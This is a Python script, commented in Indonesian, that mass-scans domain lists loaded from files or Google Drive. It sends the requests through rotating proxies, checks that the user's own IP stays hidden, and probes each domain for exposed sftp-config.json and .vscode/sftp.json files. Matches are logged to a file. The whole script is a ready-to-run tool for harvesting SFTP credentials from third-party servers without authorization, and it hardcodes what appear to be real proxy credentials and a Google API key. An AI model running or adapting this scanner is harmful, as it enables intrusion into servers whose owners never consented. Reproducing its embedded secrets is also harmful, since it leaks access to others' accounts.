import asyncio import aiohttp import random import os import sys from itertools import cycle from colorama import Fore, Style, init # Google Drive from googleapiclient.discovery import build from googleapiclient.http import MediaIoBaseDownload import io if sys.platform.startswith("win"): asyncio.set_event_loop_policy(asyncio.WindowsProactorEventLoopPolicy()) init(autoreset=True) # ================== WARNA & UI ================== gr, red, yl, bl, res = Fore.GREEN, Fore.RED, Fore.YELLOW, Fore.BLUE, Style.RESET_ALL # ================== CONFIGURATION ================== START_CONCURRENCY = 300 TIMEOUT_SECONDS = 10 BATCH_SIZE = 500 REST_TIME = 2 MAX_RETRY = 2 USERNAME = "spjoxckhpn" PASSWORD = "yC5hnhmhY0egy=O0H7" PROXY_HOST = "dc.decodo.com" PORTS = [10001 + i for i in range(11000)] random.shuffle(PORTS) proxy_pool = cycle(PORTS) USER_AGENTS = [ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" ] # ================== GLOBAL STATS ================== stats = {"checked": 0, "found": 0, "error": 0} STOP_SCAN = False REAL_IP = None # ================== CORE UTILS ================== def get_proxy_url(): port = next(proxy_pool) return f"http://{USERNAME}:{PASSWORD}@{PROXY_HOST}:{port}" async def check_proxy_health(session): global STOP_SCAN, REAL_IP for _ in range(2): # retry 3x proxy = get_proxy_url() try: async with session.get( "https://icanhazip.com", proxy=proxy, timeout=7 ) as resp: current_proxy_ip = (await resp.text()).strip() if current_proxy_ip == REAL_IP: print(f"\n{red}[!!!] IP ASLI BOCOR! STOP{res}") STOP_SCAN = True return False return True except: await asyncio.sleep(1) print(f"\n{yl}[!] Proxy sementara tidak stabil. Waiting...{res}") return True async def safe_fetch(session, sem, url): global STOP_SCAN if STOP_SCAN: return async with sem: proxy = get_proxy_url() headers = {"User-Agent": random.choice(USER_AGENTS)} try: async with session.get( url, proxy=proxy, headers=headers, ssl=False, timeout=TIMEOUT_SECONDS, allow_redirects=True ) as response: stats["checked"] += 1 if response.status == 200: content = await response.text() if any(x in content for x in ["save_before_upload", "uploadOnSave", "\"protocol\": \"sftp\""]): stats["found"] += 1 print(f"{gr}[MATCH]{res} {url}") with open("sftpfound.txt", "a") as f: f.write(f"{url}\n") except (aiohttp.ClientError, asyncio.TimeoutError): stats["error"] += 1 except OSError: stats["error"] += 1 except Exception as e: stats["error"] += 1 async def process_batch(session, domains, batch_idx, total_batches, sem): if not await check_proxy_health(session): return tasks = [] for dom in domains: base = dom if dom.startswith("http") else f"http://{dom}" base = base.rstrip('/') tasks.append(safe_fetch(session, sem, f"{base}/sftp-config.json")) tasks.append(safe_fetch(session, sem, f"{base}/.vscode/sftp.json")) await asyncio.gather(*tasks) print(f"{bl}[Batch {batch_idx}/{total_batches}]{res} Done. Found: {gr}{stats['found']}{res} | Total Checked: {stats['checked']}") # ================== FUNGSI GOOGLE DRIVE ================== async def get_domains_from_drive(folder_id, api_key="AIzaSyAYu_yjlAAJPpqMFjfp6Xp_Mpek2YlHLpE"): domains = [] try: service = build("drive", "v3", developerKey=api_key) query = f"'{folder_id}' in parents and mimeType='text/plain'" results = service.files().list(q=query, fields="files(id, name)").execute() files = results.get("files", []) if not files: print(f"{red}[DRIVE]{res} Tidak ada file teks ditemukan di folder.") return [] for file in files: file_id = file["id"] print(f"{bl}[DRIVE]{res} Mengunduh {file['name']}...") request = service.files().get_media(fileId=file_id) fh = io.BytesIO() downloader = MediaIoBaseDownload(fh, request) done = False while not done: status, done = downloader.next_chunk() content = fh.getvalue().decode("utf-8", errors="ignore") lines = [line.strip() for line in content.splitlines() if line.strip()] domains.extend(lines) print(f"{gr}[DRIVE]{res} Dimuat {len(lines)} domain dari {file['name']}") except Exception as e: print(f"{red}[DRIVE ERROR]{res} Gagal mengambil dari Google Drive: {e}") return domains # ================== MAIN EXECUTION ================== async def main(): global STOP_SCAN, stats, REAL_IP os.system('cls' if os.name == 'nt' else 'clear') stats["checked"] = 0 stats["found"] = 0 stats["error"] = 0 # 1. Ambil Real IP print(f"{yl}Menganalisa koneksi aman...{res}") async with aiohttp.ClientSession() as temp_session: try: async with temp_session.get("https://icanhazip.com", timeout=5) as r: REAL_IP = (await r.text()).strip() except Exception: print(f"{red}Gagal mendapatkan IP publik. Periksa koneksi internet.{res}") return print(f"{bl}IP Publik Anda:{res} {REAL_IP} {gr}(Protected Mode){res}") # 2. Input folder_id dari user print(f"{yl}Masukkan Google Drive Folder ID:{res}") folder_id = input(f"{bl}Folder ID: {res}").strip() if not folder_id: print(f"{red}[ERROR]{res} Folder ID tidak boleh kosong!") return # 3. Pilih sumber input print(f"\n{yl}Masukkan nama file (pisahkan dengan koma), atau ketik 'drive' untuk ambil dari Google Drive:{res}") input_choice = input(f"{bl}Input: {res}").strip().lower() domains = [] if input_choice == "drive": print(f"{yl}[DRIVE MODE]{res} Mengambil data dari Google Drive...") domains = await get_domains_from_drive(folder_id) else: file_list = [f.strip() for f in input_choice.split(",")] for file_path in file_list: if not file_path: continue try: with open(file_path, "r", encoding="utf-8", errors="ignore") as f: lines = [line.strip() for line in f if line.strip()] domains.extend(lines) print(f"{gr}[LOADED]{res} {len(lines)} domain dari {file_path}") except FileNotFoundError: print(f"{red}[ERROR]{res} File {file_path} tidak ditemukan!") except Exception as e: print(f"{red}[ERROR]{res} Gagal membaca {file_path}: {e}") if not domains: print(f"{red}Tidak ada domain yang berhasil dimuat.{res}") return total_domains = len(domains) total_batches = (total_domains + BATCH_SIZE - 1) // BATCH_SIZE print(f"{gr}Total Gabungan:{res} {total_domains} domain | {total_batches} batch\n") global_sem = asyncio.Semaphore(START_CONCURRENCY) connector = aiohttp.TCPConnector( limit=0, limit_per_host=5, force_close=False, ttl_dns_cache=300, enable_cleanup_closed=True ) async with aiohttp.ClientSession(connector=connector, trust_env=False) as session: for i in range(0, total_domains, BATCH_SIZE): if STOP_SCAN: break batch_idx = (i // BATCH_SIZE) + 1 batch_domains = domains[i:i + BATCH_SIZE] try: await process_batch(session, batch_domains, batch_idx, total_batches, global_sem) except Exception as e: print(f"{red}[CRITICAL ERROR]{res} in batch {batch_idx}: {str(e)}") stats["error"] += len(batch_domains) * 2 if i + BATCH_SIZE < total_domains: await asyncio.sleep(REST_TIME) print(f"\n{gr}PROSES SELESAI.{res}") print(f"Total Found: {stats['found']} | Checked: {stats['checked']} | Error: {stats['error']}") # ================== ENTRY POINT ================== if __name__ == "__main__": try: asyncio.run(main()) except KeyboardInterrupt: print(f"\n{red}Dihentikan paksa oleh user.{res}") exit() except Exception as e: print(f"\n{red}[FATAL]{res} {str(e)}")